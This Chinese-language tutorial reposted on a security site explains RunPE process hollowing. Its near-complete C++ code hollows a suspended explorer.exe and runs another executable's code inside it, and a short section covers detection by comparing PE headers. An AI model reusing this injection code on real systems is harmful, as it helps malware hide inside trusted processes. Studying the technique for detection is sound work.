黑基网 首页 IT教程 信息安全 查看内容

使用恶意软件将隐藏代码注入已知进程的渗透研究

2017-11-17 11:45| 投稿: lofor |来自: 互联网

摘要: 免责声明:这不是一个制作恶意软件的教程,而只是一个以教育为目的的实际案例。尽管如此,这也是几十年来在其他网站上不断讨论的话题。阅读本文需要的基础(C++,windowsPE文件结构,二进制知识更佳)对于恶意软件编 ...

免责声明:这不是一个制作恶意软件的教程,而只是一个以教育为目的的实际案例。尽管如此,这也是几十年来在其他网站上不断讨论的话题。

阅读本文需要的基础(C++,windowsPE文件结构,二进制知识更佳)

对于恶意软件编写者来说,隐藏一个进程一直是一个挑战,他们对此发现了很多方法。我现在讲述的这个技巧是非常基本的,虽然写起来很简单,但是却不能一直工作下去。这个技巧叫做“RunPE”,在恶意软件行业,特别是RAT(远程管理工具)中已经使用了很多次。

基本上,当一个恶意软件启动时,它会在Windows进程中挑选一个受害者(如explorer.exe),(如果有童鞋使用过metasploit中的进程注入渗透测试,这应该并不陌生吧)并启动一个新的实例,它处于挂起状态。在这种状态下,进行修改是安全的,恶意软件将完全从代码中清除它,如果需要的话会扩展进内存,并在其中复制自己的代码。

然后,恶意软件会做一些变化来调整入口地址以及基地址,并将恢复其进程。恢复后,该进程显示正在从一个文件(explorer.exe)开始,这会没有显示它做了什么,但它实际上已经做了。

RunPE:代码

void RunPe( wstring const& target, wstring const& source )
{
    Pe src_pe( source );        // Parse source PE structure
    if ( src_pe.isvalid )
    {        
        Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
        if ( res.success )
        {
            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
            CTX->ContextFlags = CONTEXT_FULL;

            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
            {
                DWORD dwImageBase;
                ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target

                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                NtUnmapViewOfSection xNtUnmapViewOfSection;
                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                {
                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                    if ( pImageBase )
                    {
                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                        {
                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                            {
                                bool success = true;
                                for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                {
                                    // Get pointer on section and copy the content
                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    

                                    // Write content to target
                                    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                }

                                if ( success )
                                {
                                    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                    ResumeThread( res.hThread );                                                                    // Resume main thread
                                }                               
                            }
                        }                       
                    }
                }
            }

            if ( res.hProcess) CloseHandle( res.hProcess );
            if ( res.hThread ) CloseHandle( res.hThread );
        }
    }
}
...
RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );

源代码是能自解释的,但是我选择让它与我们的底层库(Pe,Process,…)紧密联系在一起,以便代码不会脱离出盒子(避免脚本小子使用它来做坏事)。然而,我建议厉害的小伙伴能理解逻辑并重新创建出二进制文件。

主程序将以explorer.exe为目标,以calc.exe为源码调用RunPe函数。这将导致运行calc.exe代码到explorer.exe的表面。

该RunPe功能将简单地处于中止状态的explorer.exe创建,除去属于该模块的一部分与NtUnmapViewOfSection。然后,它将分配更多的内存与前面未映射的部分相同的首选地址来承载目标(calc.exe)的代码。

该代码(标题+部分)复制到新分配的部分,我们调整图像基址+入口点地址以匹配新的偏移量(explorer.exe的基址可能会不同)。完成后,主线程恢复。

RunPE:结果

在创建后暂停

在explorer.exe中的部分区域未被映射后

在新的部分区域被分配后

在calc.exe代码被写入后

Process Hacker软件在explorer.exe中显示Calc caption窗口

calc.exe字符串出现在explorer.exe部分

RunPE:检测

这个技巧很简单,检测也很简单。我们可以假设(除了.NET程序集)PE头将在内存和进程的磁盘镜像中99%相同。

知道了这个后,我们可以在每个进程中比较磁盘上文件的PE头和内存中的图像。如果分歧太大,我们可以放心地认定这个过程是被劫持的。

图为RunPE的检测


参考链接 
https://blackc0.de/2014/06/defeating-runpe-malware-packer/

http://menalix.com/?tag=runpe-in​​jection 

http://www.autosectools.com/process-hollowing.pdf

https://www.phrozensoft.com/2015/05/runpe-detector-1

https://www.adlice.com/runpe-hide-code-behind-legit-process/

*本文作者:生如夏花,转载请注明来自 FreeBuf.COM

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部